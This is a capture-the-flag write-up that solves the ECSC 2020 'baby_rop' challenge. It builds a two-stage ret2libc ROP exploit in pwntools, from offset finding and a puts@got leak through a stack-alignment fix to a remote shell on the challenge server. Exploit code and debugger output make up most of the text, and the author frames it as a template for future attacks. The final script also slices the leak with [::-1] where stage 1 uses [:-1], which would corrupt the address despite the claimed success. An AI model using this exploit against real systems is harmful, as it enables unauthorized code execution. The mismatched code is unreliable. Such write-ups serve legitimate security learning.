



Solving a ROP Challenge the Easy Way



Introduction

Since the [last article](#) was written with the sole purpose of using `one_gadget`, it didn't present the most straight-forward solution for the `baby_rop` challenge. In this article, I'm

going to present the easiest solution that I know of, mainly because I would like to have a template for the next baby ROP challenge I encounter.

Mission Briefing

This is a simple pwn challenge. You should get it in the lunch break.

Running on Ubuntu 20.04.

About the challenge

The challenge was initially published at **European Cyber Security Challenge 2020** - the national phase organised in Romania. The challenge was created by [Bit Sentinel](#).

European Cyber Security Challenge ([ECSC](#)) is the annual European event that brings together young talent from across Europe to have fun and compete in cybersecurity!

Just to recap, the challenge can be found on [CyberEDU](#). The executable has NX enabled, but there's no stack canary and PIE is disabled.

Finding RIP's Offset

We already know the app is going to crash if we input a string that is 1024 characters long. The following script will send a cyclic pattern that will help us get RIP's offset:

```
from pwn import *

io = process("./pwn_baby_rop")

io.recvuntil("black magic.\n")

gdb.attach(io)

payload = b""
payload += cyclic(1024, n=8).encode()

io.sendline(payload)
io.interactive()
```

```

[ REGISTERS ]
RAX 0x6261616161616166 ('faaaaaab')
RBX 0x0
RCX 0x7fbf5243da00 (_IO_2_1_stdin_) ← 0xfbad208b
RDX 0x6261616161616167 ('gaaaaaab')
RDI 0x0
RSI 0x7fbf5243da83 (_IO_2_1_stdin_+131) ← 0x43f8d0000000000a /* '\n' */
R8 0x7fbf5243f8c0 (_IO_stdfile_1_lock) ← 0x0
R9 0x7fbf526324c0 ← 0x7fbf526324c0
R10 0x3
R11 0x246
R12 0x401090 ← endbr64
R13 0x7ffc92a2bd10 ← 0x6461616161616174 ('taaaaaad')
R14 0x0
R15 0x0
RBP 0x6261616161616168 ('haaaaaab')
RSP 0x7ffc92a2bb28 ← 0x6261616161616169 ('iaaaaaab')
RIP 0x40145b ← ret

[ DISASM ]
► 0x40145b ret <0x6261616161616169>

```

As expected, RIP is overwritten and the application crashes. Finding the register's offset is one function call away:

```

>>> from pwn import *
>>> cyclic_find(0x6261616161616169, n=8)
264
>>>

```

A simple PoC to crash the application and overwrite RIP with 'C's can be found below:

```
from pwn import *

io = process("./pwn_baby_rop")

io.recvuntil("black magic.\n")

gdb.attach(io)

payload = b""
payload += b"A" * 256
payload += b"B" * 8
payload += b"C" * 8

io.sendline(payload)
io.interactive()
```

The reason I also included those 8 'B's before the 'C's is to highlight what that string overwrites:

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
RAX 0x4141414141414141 ('AAAAAAAA')
RBX 0x0
RCX 0x7f099d922a00 (_IO_2_1_stdin_) ← 0xfbad208b
RDX 0x4141414141414141 ('AAAAAAAA')
RDI 0x0
RSI 0x7f099d922a83 (_IO_2_1_stdin_+131) ← 0x9248d0000000000a /* '\n' */
R8 0x7f099d9248c0 (_IO_stdfile_1_lock) ← 0x0
R9 0x7f099db174c0 ← 0x7f099db174c0
R10 0x3
R11 0x246
R12 0x401090 ← endbr64
R13 0x7fff153dda10 ← 0x1
R14 0x0
R15 0x0
RBP 0x4242424242424242 ('BBBBBBBB')
RSP 0x7fff153dd828 ← 'CCCCCCCC'
RIP 0x40145b ← ret
[ DISASM ]
► 0x40145b ret <0x4343434343434343>
```

The 'B's can be found in the RBP register. I somehow managed to forget that when I solved the challenge yesterday and modified RBP by finding a 'pop rbp ; ret' gadget. After someone pointed that out, I quickly edited the post to modify RBP by using this technique.

Leaking a LIBC Address

The first ROP chain was also covered in the first article. To recap, we are first going to call puts with puts@got as an argument and then call main again. The first thing that needs to be found is a 'pop rdi ; ret' gadget (call convention: function arguments are stored in RDI, RSI, RDX, RCX, R8, R9, etc.). I did that using `rp++`:

```
$ rp-lin-x64 -f pwn_baby_rop -r 1 --unique | grep 'pop rdi ; '  
0x00401663: pop rdi ; ret ; (1 found)  
$
```

The next addresses we need to find are puts@plt (which we are going to call) and puts@got (which contains the address of puts in libc). In this case, using objdump and grep will do the trick:

```
$ objdump -S pwn_baby_rop | grep -A 4 "<puts@plt>"  
0000000000401060 <puts@plt>:  
    401060:      f3 0f 1e fa                endbr64  
    401064:      f2 ff 25 ad 2f 00 00      bnd jmpq *0x2fad(%rip)  
    40106b:      0f 1f 44 00 00          nopl    0x0(%rax,%rax,1)  
  
--  
    4015de:      e8 7d fa ff ff          callq   401060 <puts@plt>  
    4015e3:      b8 00 00 00 00          mov     $0x0,%eax  
    4015e8:      e8 89 fb ff ff          callq   401176 <setvbuf@p  
    4015ed:      b8 00 00 00 00          mov     $0x0,%eax  
    4015f2:      c9                      leaveq  
$
```

The main function is located at 0x40145C. The binary is stripped, so I had to open IDA in order to find it. If the binary was not stripped, 'objdump -S pwn_baby_rop | grep main'

would have been sufficient to find the function's address. The 1st stage exploit code looks like this:

```
# 1st stage
pop_rdi = 0x00401663
puts_got = 0x404018
puts = 0x401060
main = 0x40145C

payload = b""
payload += b"A" * 256
payload += b"B" * 8
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts)
payload += p64(main)

io.sendline(payload)
puts_addr = io.recvline()[:-1].ljust(8, b"\x00")
puts_addr = u64(puts_addr)
log.info("puts: " + hex(puts_addr))
```

Finding the Server's LIBC Version

There's a >99% chance that the server is using another version of LIBC than my computer is. As I mentioned in the last article, this version can be found by running the 1st stage on the remote machine and searching the last 3 nibbles of puts' address(in this case, 5a0) on [this site](#). After downloading the .so file, we can tell the program to load it instead of our system's by changing

```
io = process("./pwn_baby_rop")
```

to

```
env = {"LD_PRELOAD": "./libc6_2.31-0ubuntu8_amd64.so"}  
io = process("./pwn_baby_rop", env=env)
```

To test whether this worked or not, I ran the script again:

```
$ python libc.py  
[+] Starting program './pwn_baby_rop': Done  
puts: 0x7f4ea0c875a0  
[*] Switching to interactive mode  
Solve this challenge to prove your understanding to black magic.  
$  
[*] Interrupted  
[*] Stopped program './pwn_baby_rop'
```

The address of puts ends in 5a0 now, so we can move on to the last step.

RCE? Nope.

The simplest method to get RCE now is to call `system("/bin/sh")`. The first thing we need to do is calculate LIBC's base address. The site I linked above also provides the offsets of some helpful functions. According to that list, puts is located at 0x0875a0, system at 0x055410 and a "/bin/sh" string at 0x1b75aa:

Query

[show all libs / start over](#)

Matches

[libc6_2.30-3_i386](#)
[libc6_2.30-4_i386](#)
[libc6_2.30-6_i386](#)
[libc6_2.30-7_i386](#)
[libc6_2.31-0ubuntu7_amd64](#)
[libc6_2.31-0ubuntu8_amd64](#)
[libc6_2.31-0ubuntu9_amd64](#)

libc6_2.31-0ubuntu8_amd64

[Download](#)

	Symbol	Offset	Difference
<input checked="" type="radio"/>	system	0x055410	0x0
<input type="radio"/>	_IO_puts	0x0875a0	0x32190
<input type="radio"/>	open	0x110cc0	0xbb8b0
<input type="radio"/>	read	0x110fa0	0xbbb90
<input type="radio"/>	write	0x111040	0xbbc30
<input type="radio"/>	str_bin_sh	0x1b75aa	0x16219a

[All symbols](#)

Another problem I wrote about is that `system()` is going to try to write some data to the stack by using the RBP register. We can find a memory address that is both readable and

writable by using gdb's vmmap command:

```
gdb-peda$ vmmap
Start          End            Perm           Name
0x00400000     0x00401000     r--p           /home/yakuhito/c
0x00401000     0x00402000     r-xp           /home/yakuhito/c
0x00402000     0x00403000     r--p           /home/yakuhito/c
0x00403000     0x00404000     r--p           /home/yakuhito/c
0x00404000     0x00405000     rw-p           /home/yakuhito/c
0x00007f602c4a3000 0x00007f602c4ca000 r-xp           /lib/x86_64-linu
0x00007f602c4d4000 0x00007f602c4d6000 rw-p           mapped
0x00007f602c4d6000 0x00007f602c4fb000 r--p           /home/yakuhito/c
0x00007f602c4fb000 0x00007f602c673000 r-xp           /home/yakuhito/c
0x00007f602c673000 0x00007f602c6bd000 r--p           /home/yakuhito/c
0x00007f602c6bd000 0x00007f602c6be000 ---p           /home/yakuhito/c
0x00007f602c6be000 0x00007f602c6c1000 r--p           /home/yakuhito/c
0x00007f602c6c1000 0x00007f602c6c4000 rw-p           /home/yakuhito/c
0x00007f602c6c4000 0x00007f602c6ca000 rw-p           mapped
0x00007f602c6ca000 0x00007f602c6cb000 r--p           /lib/x86_64-linu
0x00007f602c6cb000 0x00007f602c6cc000 rw-p           /lib/x86_64-linu
0x00007f602c6cc000 0x00007f602c6cd000 rw-p           mapped
0x00007ffc12bf8000 0x00007ffc12c19000 rw-p           [stack]
0x00007ffc12d65000 0x00007ffc12d68000 r--p           [vvar]
0x00007ffc12d68000 0x00007ffc12d6a000 r-xp           [vdso]
0xffffffffffff600000 0xffffffffffff601000 r-xp           [vsyscall]
gdb-peda$
```

Memory block 0x00404000-0x00405000 is a prefect candidate, so I will use 0x00404500 for RBP. The code for the second stage looks like this:

```
# 2nd stage
puts_offset = 0x0875a0
system_offset = 0x055410
bin_sh_offset = 0x1b75aa

libc_base = puts_addr - puts_offset
system = libc_base + system_offset
bin_sh = libc_base + bin_sh_offset
log.info("libc_base: " + hex(libc_base))
log.info("system: " + hex(system))
log.info("bin_sh: " + hex(bin_sh))

rbp = 0x00404500

payload = b"A" * 256
payload += p64(rbp)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

io.sendline(payload)
```

However, the exploit seems to crash the program:

```
$ python exploit_notworking.py
[+] Starting program './pwn_baby_rop': Done
[*] puts: 0x7f1764d615a0
[*] libc_base: 0x7f1764cda000
[*] system: 0x7f1764d2f410
[*] bin_sh: 0x7f1764e915aa
[*] Switching to interactive mode
Solve this challenge to prove your understanding to black magic.
[*] Got EOF while reading in interactive
$ id
[*] Program './pwn_baby_rop' stopped with exit code -11
[*] Got EOF while sending in interactive
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/proc
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe
```

Aligning the Stack

After attaching gb to the process, we can see the instruction that crashed the program:

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
```

```

RAX 0x7faa2db2c2e0 (envIRON) → 0x7ffcc0bcbe8 → 0x7ffcc0bcd1b1 ← LD_PRELOA
D=../libc6_2.31-0ubuntu8_amd64.so'
RBX 0x7faa2daf45aa ← 0x68732f6e69622f /* '/bin/sh' */
RCX 0x7ffcc0bcba48 ← 0xc /* '\x0c' */
RDX 0x0
RDI 0x7ffcc0bcb844 ← 0x7ffc
RSI 0x7faa2daf45aa ← 0x68732f6e69622f /* '/bin/sh' */
R8 0x7ffcc0bcb888 → 0x7faa2d919ec3 (_dl_fixup+211) ← mov r8, rax
R9 0x7ffcc0bcbeb8 → 0x7ffcc0bcd1bf ← 'LD_PRELOAD=../libc6_2.31-0ubuntu8_amd6
4.so'
R10 0x8
R11 0x246
R12 0x7ffcc0bcb8a8 ← 0x0
R13 0x7ffcc0bcb928 ← 0x6
R14 0x0
R15 0x0
RBP 0x7ffcc0bcba48 ← 0xc /* '\x0c' */
RSP 0x7ffcc0bcb838 → 0x7ffcc0bcb82c ← 0x2d991f7b00007faa
RIP 0x7faa2d991fbc ← movaps xmmword ptr [rsp + 0x50], xmm0
[ DISASM ]
► 0x7faa2d991fbc movaps xmmword ptr [rsp + 0x50], xmm0
0x7faa2d991fc1 mov qword ptr [rsp + 0x68], 0
0x7faa2d991fca call posix_spawn <0x7faa2da4c780>

0x7faa2d991fcf mov rdi, rbp
0x7faa2d991fd2 mov ebx, eax
0x7faa2d991fd4 call posix_spawnattr_destroy <0x7faa2da4c680>

0x7faa2d991fd9 test ebx, ebx
0x7faa2d991fdb je 0x7faa2d992060

0x7faa2d991fe1 mov eax, dword ptr fs:[0x18]
0x7faa2d991fe9 test eax, eax
0x7faa2d991feb jne 0x7faa2d9921c3
[ STACK ]
00:0000 | rsp 0x7ffcc0bcb838 → 0x7ffcc0bcb82c ← 0x2d991f7b00007faa
01:0008 | rdi-4 0x7ffcc0bcb840 ← 0x7ffcfffbffff
02:0010 | 0x7ffcc0bcb848 ← 0x0

```



```
... ↓
04:0020 | 0x7ffcc0bcb858 → 0x404018 → 0x7faa2d9c45a0 (puts) ← endbr64
05:0028 | 0x7ffcc0bcb860 → 0x7ffcc0bcbdb0 ← 0x0
06:0030 | 0x7ffcc0bcb868 → 0x401090 ← endbr64
07:0038 | 0x7ffcc0bcb870 → 0x7ffcc0bcbea0 ← 0x1
[ BACKTRACE ]
▶ f 0 7faa2d991fbc
f 1 0

Program received signal SIGSEGV (fault address 0x0)
gdb-peda$
```

[This StackOverflow thread](#) does a good job at explaining the cause of this problem. Basically, LIBC expects the stack to be 16-bit aligned when a function is called and uses this property to optimize some portions of its code. The solution is very simple: call a ret instruction. We can find a ret gadget in the main program using rp++:

```
$ rp-lin-x64 -f pwn_baby_rop -r 1 --unique | grep ret
0x004015f1: add cl, cl ; ret ; (1 found)
0x00401017: add esp, 0x08 ; ret ; (2 found)
0x00401016: add rsp, 0x08 ; ret ; (2 found)
0x004010c3: cli ; ret ; (2 found)
0x0040164c: fisttp word [rax-0x7D] ; ret ; (1 found)
0x004010c0: hint_nop edx ; ret ; (4 found)
0x0040145a: leave ; ret ; (2 found)
0x004010ee: nop ; ret ; (3 found)
0x00401662: pop r15 ; ret ; (1 found)
0x0040115d: pop rbp ; ret ; (1 found)
```

```
0x00401663: pop rdi ; ret ; (1 found)
0x0040101a: ret ; (12 found)
```

The final script looks like this:

```
from pwn import *

env = {"LD_PRELOAD": "./libc6_2.31-0ubuntu8_amd64.so"}
#io = process("./pwn_baby_rop", env=env)
io = remote("34.89.143.158", 31042)

io.recvuntil("black magic.\n")

#gdb.attach(io)

# 1st stage
pop_rdi = 0x00401663
puts_got = 0x404018
puts = 0x401060
main = 0x40145C

payload = b""
payload += b"A" * 256
payload += b"B" * 8
payload += p64(pop_rdi)
```

```
payload += p64(puts_got)
payload += p64(puts)
payload += p64(main)

io.sendline(payload)
puts_addr = io.recvline()[::-1].ljust(8, b"\x00")
puts_addr = u64(puts_addr)
log.info("puts: " + hex(puts_addr))

# 2nd stage
puts_offset = 0x0875a0
system_offset = 0x055410
bin_sh_offset = 0x1b75aa

libc_base = puts_addr - puts_offset
system = libc_base + system_offset
bin_sh = libc_base + bin_sh_offset
log.info("libc_base: " + hex(libc_base))
log.info("system: " + hex(system))
log.info("bin_sh: " + hex(bin_sh))

rbp = 0x00404500
simple_ret = 0x0040101a

payload = b"A" * 256
payload += p64(rbp)
```

```
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(simple_ret)
payload += p64(system)

io.sendline(payload)
io.interactive()
```

Running it against the remote server will result in a shell:

```
$ python exploit.py
[+] Opening connection to 34.89.143.158 on port 31042: Done
[*] puts: 0x7f50d3c2a5a0
[*] libc_base: 0x7f50d3ba3000
[*] system: 0x7f50d3bf8410
[*] bin_sh: 0x7f50d3d5a5aa
[*] Switching to interactive mode
Solve this challenge to prove your understanding to black magic.
$ id
uid=1000(ecsc) gid=3000 groups=3000,2000
$ ls -l
total 20
-rwxr-xr-x 1 root root    70 May 13 09:37 flag
-rwxr-xr-x 1 root root 14520 May 13 09:37 pwn
```

```
$ cat flag  
[REDACTED]
```


The End

That wasn't very hard, was it? I hope you've learned something new from this article (I certainly have!). The python scripts I used can be found [in this repo](#).

Until next time, hack the world.

yakuhito, over.

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